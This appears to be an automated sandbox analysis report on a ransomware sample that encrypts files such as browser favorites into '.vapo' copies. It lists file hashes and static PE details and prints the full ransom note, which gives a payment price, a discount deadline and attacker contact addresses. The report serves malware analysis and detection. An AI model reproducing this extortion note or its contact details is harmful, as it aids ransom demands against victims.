SHA-512:	12B78EADE3F43EC9F490DD0B36494558C23A04F53CB79ECFF7740E56CB61465E242393314BB87164BEE855C54FA5B9BF4604E0BC63BBACDDFAAA88F82503F5D3
Malicious:	false
Reputation:	unknown
Preview:	[{000..$`_`.X.t..g.@...E..m~1.....@"Qsv.}....'H..O.....@.\|8.5(...~.k..@G. W..........T2V....}...lNL...p]..b._8}.`......B*.}..=.Zd.=.Ce.D'.p.!.9.=.n..c...J...(....\|..U.3[Y..RC.C.g.}....p..g+..1..u..T...<...&wf&.=.]..Z.....2........3.j..>....4...c...j'......1...t.6......v....q.%&..X..$..,.\#}`.72.{....%......p..2..f&S..9iv..gE....p3..!p...U.az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.424118006000955
Encrypted:	false
SSDEEP:	12:B40G/VfUk3i/Ly8fGVMg71QwoyAEKCWcii9a:BHG2P/G8fwQwtAEK9bD
MD5:	DBE335AD74A925C82F09558A3800C9B1
SHA1:	EDB42E7C3E1846B615083A47FDC6E92C87BA7BE2
SHA-256:	5871DC70149A137A46D5A8CF90E883D73C22D446C7A7FC9EF0D1EB771578CE34
SHA-512:	12B78EADE3F43EC9F490DD0B36494558C23A04F53CB79ECFF7740E56CB61465E242393314BB87164BEE855C54FA5B9BF4604E0BC63BBACDDFAAA88F82503F5D3
Malicious:	false
Reputation:	unknown
Preview:	[{000..$`_`.X.t..g.@...E..m~1.....@"Qsv.}....'H..O.....@.\|8.5(...~.k..@G. W..........T2V....}...lNL...p]..b._8}.`......B*.}..=.Zd.=.Ce.D'.p.!.9.=.n..c...J...(....\|..U.3[Y..RC.C.g.}....p..g+..1..u..T...<...&wf&.=.]..Z.....2........3.j..>....4...c...j'......1...t.6......v....q.%&..X..$..,.\#}`.72.{....%......p..2..f&S..9iv..gE....p3..!p...U.az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.460947011161662
Encrypted:	false
SSDEEP:	12:BQM0bK1TufqLcAHGK7akhHmFm/YvfoQ+mG5+cii9a:B/z1yfqLjmK7akhHmUwIxmpbD
MD5:	154F8052FB71E449D8684E8FC5120873
SHA1:	52C61285C756C26B36A2ED2F20B21D97A54EC907
SHA-256:	0DBE1E03D859A595E007991264D0CCF03FB0D11371FD3398281A3F35CAFCE674
SHA-512:	9BF0AB193050CB95A5DD6AA6BFA16E6859265464D175A8BCBAF59308D02B4B71C36D7EE5D5E90D9635C98AE227DC569E67834D84111F9A07E6547617518A6978
Malicious:	false
Reputation:	unknown
Preview:	[{000.:zb..b.K....@.x.."...&3......^.:.......+N1..+.d......U..F...i.}..l..U.@EpU%...$%.j.f...j.z...E..u.zX..rq<.0......\|nk\|.zC; ,v......r(.G8......yt.mq.+.C....s4Lf........:M.'.@v..#H...;..h[^X#.........3..`...24."E..WI..]w..A..r.%+..L...<...G._.r`..%..4z...q...P......p:...cg.....q..C9...'.E.U...l.4........W...=d.}.Vd...=_.n..hh.`.u....*<.az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.460947011161662
Encrypted:	false
SSDEEP:	12:BQM0bK1TufqLcAHGK7akhHmFm/YvfoQ+mG5+cii9a:B/z1yfqLjmK7akhHmUwIxmpbD
MD5:	154F8052FB71E449D8684E8FC5120873
SHA1:	52C61285C756C26B36A2ED2F20B21D97A54EC907
SHA-256:	0DBE1E03D859A595E007991264D0CCF03FB0D11371FD3398281A3F35CAFCE674
SHA-512:	9BF0AB193050CB95A5DD6AA6BFA16E6859265464D175A8BCBAF59308D02B4B71C36D7EE5D5E90D9635C98AE227DC569E67834D84111F9A07E6547617518A6978
Malicious:	false
Reputation:	unknown
Preview:	[{000.:zb..b.K....@.x.."...&3......^.:.......+N1..+.d......U..F...i.}..l..U.@EpU%...$%.j.f...j.z...E..u.zX..rq<.0......\|nk\|.zC; ,v......r(.G8......yt.mq.+.C....s4Lf........:M.'.@v..#H...;..h[^X#.........3..`...24."E..WI..]w..A..r.%+..L...<...G._.r`..%..4z...q...P......p:...cg.....q..C9...'.E.U...l.4........W...=d.}.Vd...=_.n..hh.`.u....*<.az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.445938764558563
Encrypted:	false
SSDEEP:	12:Jes+u1yFl4TYZ9WX6G8qE7LJJ0rUJzDIjehUcii9a:As7myTYZ9Wni7lZoehUbD
MD5:	EB580D54DD1D9139B3B5E7909B52B35E
SHA1:	D5B53A5F8F9A720851D44F6245B5FD6E2AF8F225
SHA-256:	EAF0F02F8AB1EC68153CA3B40D67F39E05BB964F51DF905E28B9568DAC8E9A11
SHA-512:	962A38C2D3A0A1541B304EB9389D0269A716A02ED5F14ACB0EDF3D2C98B6DBCBFA8BB98866F0EB7EA288346DB073CAE95D8B37BE6BE7B354CD9D8D960444A53D
Malicious:	false
Reputation:	unknown
Preview:	[{000_.G.X......&.3.X./..p........-.7.N....6.....f.7.......-f4...>9"". ..4...<...7...h.......V3........RG..Ydn"..Q'n.W@...{.}..j.~>.[E.<.U.....G.p>2/....g..u..!..bbO.v.:.*.../..O..5..I........9...!o...m..&..b.f..\|...i.K...?O....l..._.,..%3.....A.."U8.!BZe./..5.4[R.x.C..e.O.)C...?.c..R\|:.s.j.tN.,....C....y...-.W.'...c7...(;....aO.^...@...az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.445938764558563
Encrypted:	false
SSDEEP:	12:Jes+u1yFl4TYZ9WX6G8qE7LJJ0rUJzDIjehUcii9a:As7myTYZ9Wni7lZoehUbD
MD5:	EB580D54DD1D9139B3B5E7909B52B35E
SHA1:	D5B53A5F8F9A720851D44F6245B5FD6E2AF8F225
SHA-256:	EAF0F02F8AB1EC68153CA3B40D67F39E05BB964F51DF905E28B9568DAC8E9A11
SHA-512:	962A38C2D3A0A1541B304EB9389D0269A716A02ED5F14ACB0EDF3D2C98B6DBCBFA8BB98866F0EB7EA288346DB073CAE95D8B37BE6BE7B354CD9D8D960444A53D
Malicious:	false
Reputation:	unknown
Preview:	[{000_.G.X......&.3.X./..p........-.7.N....6.....f.7.......-f4...>9"". ..4...<...7...h.......V3........RG..Ydn"..Q'n.W@...{.}..j.~>.[E.<.U.....G.p>2/....g..u..!..bbO.v.:.*.../..O..5..I........9...!o...m..&..b.f..\|...i.K...?O....l..._.,..%3.....A.."U8.!BZe./..5.4[R.x.C..e.O.)C...?.c..R\|:.s.j.tN.,....C....y...-.W.'...c7...(;....aO.^...@...az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.506385777006584
Encrypted:	false
SSDEEP:	12:Stt8pPBVWjlgZtTLF8EPLwGetWAgZXcii9a:S+HkETOEPcxWAghbD
MD5:	7D826054E3CEE98BF2AB253C7ADABA5F
SHA1:	4B7BCBAB5B5C751916495B9971CEA7A819FA4535
SHA-256:	95B4CF25ECB336F3DFFB70A6D3E4AF18FCAC5EE6E9B0CEDD0DC09E2DCD776807
SHA-512:	2C7C36851BDF235A8EDB977A1212B182457EB303CCA6F61AB223367AE50A1DCEF64DE704C89C3A36C5F49FA368ADE262A2A0A1DABBFBF12AD9A7272A4FE46407
Malicious:	false
Reputation:	unknown
Preview:	[{000.\.=.c.=.n.o%?......i.E...u..FYx....t....M c..Nj..<.c4.._.`.h....q.j..7..........B.Z.qw...&F......l..PJ^'H;-'.jy$..............f....0+......~h=.~.&.iX...."...$~m...'.....~.r....\|2c.)(.i.P7..9....RMda.j5.k.-'....{Dg..p7\.H.?.U.D....! J..r.[.m.C..}\8.]........b...Fw...$.v.t..0/...7......$.[...E..!.J.>./...8oh......nL,.<.....9...JeR..t...........WL.az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.506385777006584
Encrypted:	false
SSDEEP:	12:Stt8pPBVWjlgZtTLF8EPLwGetWAgZXcii9a:S+HkETOEPcxWAghbD
MD5:	7D826054E3CEE98BF2AB253C7ADABA5F
SHA1:	4B7BCBAB5B5C751916495B9971CEA7A819FA4535
SHA-256:	95B4CF25ECB336F3DFFB70A6D3E4AF18FCAC5EE6E9B0CEDD0DC09E2DCD776807
SHA-512:	2C7C36851BDF235A8EDB977A1212B182457EB303CCA6F61AB223367AE50A1DCEF64DE704C89C3A36C5F49FA368ADE262A2A0A1DABBFBF12AD9A7272A4FE46407
Malicious:	false
Reputation:	unknown
Preview:	[{000.\.=.c.=.n.o%?......i.E...u..FYx....t....M c..Nj..<.c4.._.`.h....q.j..7..........B.Z.qw...&F......l..PJ^'H;-'.jy$..............f....0+......~h=.~.&.iX...."...$~m...'.....~.r....\|2c.)(.i.P7..9....RMda.j5.k.-'....{Dg..p7\.H.?.U.D....! J..r.[.m.C..}\8.]........b...Fw...$.v.t..0/...7......$.[...E..!.J.>./...8oh......nL,.<.....9...JeR..t...........WL.az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.43454921625858
Encrypted:	false
SSDEEP:	12:PktWyuvKQtKPCOvH4CH3JrHBoZd8BiCIlF1LYFjcii9a:8LuvKQtKDYu3JrhoZuBi9ajbD
MD5:	9F2103B7FB98E0D3F492BEFC23F88551
SHA1:	F27CDAE66A9F33CE1BAE4EBB1FCAE0CD90E5FBD4
SHA-256:	7453BB22F5A88E22614E30211AE1D333D73DECC4607CBF68C25B109E8E71CFA0
SHA-512:	AB12B8C4D5F97D71CE6D0E8CD823DD3FEB8E92165C4C0CD209C8FC41D7517CF622061B9F0284CA28B72822C3353CF6C2FE8DC9430563AAFA4B22FB67ECD87DD2
Malicious:	false
Reputation:	unknown
Preview:	[{000.....S\|.f.)nw...wX^X...o.....}._.......y..TM...bDE.S%...R;....y.w.<..<..-.w.T.s...F..$bT...e^...L{..M....v..,..[u...D[...^.vT)sn...XJh.#H.. ...!J#.....a.....g..U.\.&.......L.3Jy.^.x....y^.4...~..x.....\..Y.ZP..../.P.6l^..V..EaK......<....T....(,k?..<x.{R...E....O.T.....g...IgS...0=...?.........../.5..F^....`'z...KS...O.Rx......".HO...Yk..G....az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.43454921625858
Encrypted:	false
SSDEEP:	12:PktWyuvKQtKPCOvH4CH3JrHBoZd8BiCIlF1LYFjcii9a:8LuvKQtKDYu3JrhoZuBi9ajbD
MD5:	9F2103B7FB98E0D3F492BEFC23F88551
SHA1:	F27CDAE66A9F33CE1BAE4EBB1FCAE0CD90E5FBD4
SHA-256:	7453BB22F5A88E22614E30211AE1D333D73DECC4607CBF68C25B109E8E71CFA0
SHA-512:	AB12B8C4D5F97D71CE6D0E8CD823DD3FEB8E92165C4C0CD209C8FC41D7517CF622061B9F0284CA28B72822C3353CF6C2FE8DC9430563AAFA4B22FB67ECD87DD2
Malicious:	false
Reputation:	unknown
Preview:	[{000.....S\|.f.)nw...wX^X...o.....}._.......y..TM...bDE.S%...R;....y.w.<..<..-.w.T.s...F..$bT...e^...L{..M....v..,..[u...D[...^.vT)sn...XJh.#H.. ...!J#.....a.....g..U.\.&.......L.3Jy.^.x....y^.4...~..x.....\..Y.ZP..../.P.6l^..V..EaK......<....T....(,k?..<x.{R...E....O.T.....g...IgS...0=...?.........../.5..F^....`'z...KS...O.Rx......".HO...Yk..G....az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.420114574030509
Encrypted:	false
SSDEEP:	12:H9QOm1c02cGHQ0HPM4cb+yUGaPukRcii9a:Wlc0EQOPcbiukRbD
MD5:	614AB7219466BB5757084E40B1BB33FC
SHA1:	15178234C898E2A561FAD0B35731FD42045E9179
SHA-256:	2D742850721BF380FD8F9ACA3E524107C55E60614DD14269EBAD6F734F9FB180
SHA-512:	088CA136EA5C9953952084596EED72550F997128FD0B5722C8A9C60F7F805865CB8E4A5808D53A52505F2FF389033290122FD1A6C0882FA22D999A07880F9E0C
Malicious:	false
Reputation:	unknown
Preview:	[{000m......_L..s..j.......1:..2..8.`krf...gu.G .T.38.._.k.8..Jkq....._.K....4.O9.\|.....8q.....8.`...u.v.TS........KO.V'.v....W.%.V.n.....:(^..;...U\|y.J.....o..rcq.gV.TUc.M.?...~..[n.da..n(i.K......".)v52y......wU..t...P....4%..x.n..>M....o.N...F..f19.Q.a._.B..".o..1...k..]K.>ik4.K.]W(d<^..@......(.#2~..A/u.B......GUi.L(.,yA.....(JN..a:.;KA..L...az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.420114574030509
Encrypted:	false
SSDEEP:	12:H9QOm1c02cGHQ0HPM4cb+yUGaPukRcii9a:Wlc0EQOPcbiukRbD
MD5:	614AB7219466BB5757084E40B1BB33FC
SHA1:	15178234C898E2A561FAD0B35731FD42045E9179
SHA-256:	2D742850721BF380FD8F9ACA3E524107C55E60614DD14269EBAD6F734F9FB180
SHA-512:	088CA136EA5C9953952084596EED72550F997128FD0B5722C8A9C60F7F805865CB8E4A5808D53A52505F2FF389033290122FD1A6C0882FA22D999A07880F9E0C
Malicious:	false
Reputation:	unknown
Preview:	[{000m......_L..s..j.......1:..2..8.`krf...gu.G .T.38.._.k.8..Jkq....._.K....4.O9.\|.....8q.....8.`...u.v.TS........KO.V'.v....W.%.V.n.....:(^..;...U\|y.J.....o..rcq.gV.TUc.M.?...~..[n.da..n(i.K......".)v52y......wU..t...P....4%..x.n..>M....o.N...F..f19.Q.a._.B..".o..1...k..]K.>ik4.K.]W(d<^..@......(.#2~..A/u.B......GUi.L(.,yA.....(JN..a:.;KA..L...az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.453931375604745
Encrypted:	false
SSDEEP:	12:Jr24veK+9NqBPlHNuep0YvG2q34+cii9a:JryPjkj0YuG+bD
MD5:	CE57ED1C45C1CD135FEFBEB58A04594D
SHA1:	1CF15E79F5606ABA10524BF4EFC4E966677C2B11
SHA-256:	47E7BFF07D746A4A28FCBD282C51EC5F3268D2D60370F7BEA98F7972432D251F
SHA-512:	B41CF9A5F2D6F5A92E18C55A811B93F1DF4CBB9ACD447AD024B2E2E535ADDCA1B92D28C5CD62EF6BED5E88FC54C982747F18539ECE5C6CBC2EBF82182D937666
Malicious:	false
Reputation:	unknown
Preview:	[{000x...V..}....7.yX~X._A...?}v3..}.....o..V.g!.=........1....L,..s.]jb..K2W.....jI5aBR..@.f...aZ..[...j..`.\G%..{+......3P@........{.t`u..uG..{..U..H{.rr..\.B.AU{..u....~..u..FQ.+.a.....Y...z....h.._.S..Q.x?.".....k]...s..\|(.X...\|.. !..........4t.....p..V..4W...@..QE..s..4y.....-.?d....G.,kc.:.....%@v.yOt...=G.y.U.FT..na..*.s2..ey.f.!0.h.I.R......az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.453931375604745
Encrypted:	false
SSDEEP:	12:Jr24veK+9NqBPlHNuep0YvG2q34+cii9a:JryPjkj0YuG+bD
MD5:	CE57ED1C45C1CD135FEFBEB58A04594D
SHA1:	1CF15E79F5606ABA10524BF4EFC4E966677C2B11
SHA-256:	47E7BFF07D746A4A28FCBD282C51EC5F3268D2D60370F7BEA98F7972432D251F
SHA-512:	B41CF9A5F2D6F5A92E18C55A811B93F1DF4CBB9ACD447AD024B2E2E535ADDCA1B92D28C5CD62EF6BED5E88FC54C982747F18539ECE5C6CBC2EBF82182D937666
Malicious:	false
Reputation:	unknown
Preview:	[{000x...V..}....7.yX~X._A...?}v3..}.....o..V.g!.=........1....L,..s.]jb..K2W.....jI5aBR..@.f...aZ..[...j..`.\G%..{+......3P@........{.t`u..uG..{..U..H{.rr..\.B.AU{..u....~..u..FQ.+.a.....Y...z....h.._.S..Q.x?.".....k]...s..\|(.X...\|.. !..........4t.....p..V..4W...@..QE..s..4y.....-.?d....G.,kc.:.....%@v.yOt...=G.y.U.FT..na..*.s2..ey.f.!0.h.I.R......az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4411535260429
Encrypted:	false
SSDEEP:	12:t/S/xJMMn2xFLXNdTyq1Xx2xTlkSKQWiHcii9a:sMM2/L9dTyRxTlkSpHbD
MD5:	2287640158DDDC9DB1FB9A396029F0AA
SHA1:	E85079EE001FD32FD4543182FCFFE298FAD261F8
SHA-256:	2E85E988392A4DD6C4D4ADBF187194A067DFE8103E8B5C4F67CD9803C0EFDE8E
SHA-512:	BACD454101E2165D8BC2B318BE438117DE7F17E1657061132F95E72D6EA3790AD6E280E462662923B10B26A40A364C73C27B803AC20AACC64F57EAFC50FE0DC3
Malicious:	false
Reputation:	unknown
Preview:	[{000...Z..........L .\|(..T...r...Mh.;.o~J.^.....a..... _.Z.Er~.T.`.C.oR.~.+w.K.....bz.i.uC@y.....l.i..i<..4+....d...K\|.{.......N...9.:.T...S>`..\|W...dn#....:ij...$.@1..I6.#.....x............yS..........i,..X(..H..".G./....1..4.l.pn.N.Q...F.[T.....<`...N...f.u.%...x.=...p.....U..Sd..8.UE...Rg.~2.N.n..0.wY....5..JSj......'.P..?-..y.t_.S..........az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4411535260429
Encrypted:	false
SSDEEP:	12:t/S/xJMMn2xFLXNdTyq1Xx2xTlkSKQWiHcii9a:sMM2/L9dTyRxTlkSpHbD
MD5:	2287640158DDDC9DB1FB9A396029F0AA
SHA1:	E85079EE001FD32FD4543182FCFFE298FAD261F8
SHA-256:	2E85E988392A4DD6C4D4ADBF187194A067DFE8103E8B5C4F67CD9803C0EFDE8E
SHA-512:	BACD454101E2165D8BC2B318BE438117DE7F17E1657061132F95E72D6EA3790AD6E280E462662923B10B26A40A364C73C27B803AC20AACC64F57EAFC50FE0DC3
Malicious:	false
Reputation:	unknown
Preview:	[{000...Z..........L .\|(..T...r...Mh.;.o~J.^.....a..... _.Z.Er~.T.`.C.oR.~.+w.K.....bz.i.uC@y.....l.i..i<..4+....d...K\|.{.......N...9.:.T...S>`..\|W...dn#....:ij...$.@1..I6.#.....x............yS..........i,..X(..H..".G./....1..4.l.pn.N.Q...F.[T.....<`...N...f.u.%...x.=...p.....U..Sd..8.UE...Rg.~2.N.n..0.wY....5..JSj......'.P..?-..y.t_.S..........az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.8708514157486675
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWnimFRqrl3W4kA+GT/kF5M2/kLw3KTJS:WZHfv0p6WniPFWrDGT0f/krk
MD5:	8EB486103DEBED60636F99A396DED12D
SHA1:	6BA96DF59C3E7EBDD7C46B75C12FE21EA4E4B281
SHA-256:	DCEE18CF40ED75CD34AD52154C1CEC28FE9F37F8302E7A4EE2B95D89C92757B7
SHA-512:	5E084BB5AA90B9322064E1D2AFF9769919D299AC52AEDF84289D1F7A52DD281796C79ED8AE015DE609160894AE11249A645D54DDBA6407651E2FBB991C88DDD2
Malicious:	true
Reputation:	unknown
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-tnzomMj6HU..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshmail.top....Reserve e-mail address

C:\_readme.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.8708514157486675
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWnimFRqrl3W4kA+GT/kF5M2/kLw3KTJS:WZHfv0p6WniPFWrDGT0f/krk
MD5:	8EB486103DEBED60636F99A396DED12D
SHA1:	6BA96DF59C3E7EBDD7C46B75C12FE21EA4E4B281
SHA-256:	DCEE18CF40ED75CD34AD52154C1CEC28FE9F37F8302E7A4EE2B95D89C92757B7
SHA-512:	5E084BB5AA90B9322064E1D2AFF9769919D299AC52AEDF84289D1F7A52DD281796C79ED8AE015DE609160894AE11249A645D54DDBA6407651E2FBB991C88DDD2
Malicious:	true
Reputation:	unknown
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-tnzomMj6HU..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@freshmail.top....Reserve e-mail address

C:\bootTel.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	7.322702350282994
Encrypted:	false
SSDEEP:	6:75MArupkV+yt81zRDtNJQeUCgig7U8Xej5LdV0706QVoGMXnhdxWlvLcii96Z:75qpuEZDJTYU8M5j07LlnhrW5cii9a
MD5:	02B15EF78667C5C9D13C4181EFF95FF1
SHA1:	A89DDA005845B8DA991FD8C55A8D54D2B4AAF241
SHA-256:	753B2D9643283B59DA06CEB86B5B40B558C9FF5FB72AD7DFEB38E2168D991EE2
SHA-512:	DF8690348E12CE6ED504033ABD3CA85660857D64449345CEDE9E884C597BE58E152A798CD97219A531273289931B901CA1D37BED02B20962442B455270E555D7
Malicious:	false
Reputation:	unknown
Preview:	P....-t.y......N"...nI..s../m.F0y....i.d...:..e.i.oT.L...2..r.b6........k.m....k$.t....03(.d....c8..u._...R..CEW...y.5SLO4.AR0...\2..m.&.......gys...!A2S....$ew...\w@;XjMpF.Y.%e.6..y).,..L[U&..Y.....X..#rYMv........[..`..,eM/O..m..wf.WW.....0.[L.e... ".v......\|...*t,1......@.:....PA2A.h......=...u....x.....4..g`az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\bootTel.dat.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	414
Entropy (8bit):	7.322702350282994
Encrypted:	false
SSDEEP:	6:75MArupkV+yt81zRDtNJQeUCgig7U8Xej5LdV0706QVoGMXnhdxWlvLcii96Z:75qpuEZDJTYU8M5j07LlnhrW5cii9a
MD5:	02B15EF78667C5C9D13C4181EFF95FF1
SHA1:	A89DDA005845B8DA991FD8C55A8D54D2B4AAF241
SHA-256:	753B2D9643283B59DA06CEB86B5B40B558C9FF5FB72AD7DFEB38E2168D991EE2
SHA-512:	DF8690348E12CE6ED504033ABD3CA85660857D64449345CEDE9E884C597BE58E152A798CD97219A531273289931B901CA1D37BED02B20962442B455270E555D7
Malicious:	false
Reputation:	unknown
Preview:	P....-t.y......N"...nI..s../m.F0y....i.d...:..e.i.oT.L...2..r.b6........k.m....k$.t....03(.d....c8..u._...R..CEW...y.5SLO4.AR0...\2..m.&.......gys...!A2S....$ew...\w@;XjMpF.Y.%e.6..y).,..L[U&..Y.....X..#rYMv........[..`..,eM/O..m..wf.WW.....0.[L.e... ".v......\|...*t,1......@.:....PA2A.h......=...u....x.....4..g`az8OAYewNgELvwQrvCQFNi4j455hRwuI26KpqTgc{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.585305891932375
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	01860199.exe
File size:	289280
MD5:	3d8207e1ce6762ff10db118bee3bd99b
SHA1:	82a02d6e00de00074b48ba3cc76424a6efe3e6ab
SHA256:	c38267836dde53953018c962a372e8e74153f97932418b682fc653ecfcb7bece
SHA512:	ca346b7fcd302a5d4afbdceb8d4a50f28d14068d9a72ad9960f647f19810d4936d0514a9ecd3fb2a14b87e7f82c0df33aeeb02bfa64beb394f5eb46fa6810d1a
SSDEEP:	3072:1nsNTcFBW0dKNogILXJ6WPLpjHysySMX3YpCUtn5grTtiFmAevZ:qNTcddpgInDtHMn3frTti9
TLSH:	E7542A1392A13C90F9264B769E1FC6E8B65EF5708F197B69325CBA1F0872172C273B11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...\|.......\|.......\|...H...EX..k...b.......\|...c...\|...c...\|...c...Richb...................PE..L...e..c...........

File Icon


Icon Hash:	454545454545611d

Static PE Info

General

Entrypoint:	0x404e59
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63859465 [Tue Nov 29 05:11:01 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2d9ed3462f8a74bfd1231e2e9de56b43

Entrypoint Preview

Instruction
call 00007F54A8CFEB13h
jmp 00007F54A8CFA1ADh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F54A8CFA356h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F54A8CFA380h
test ecx, 00000003h
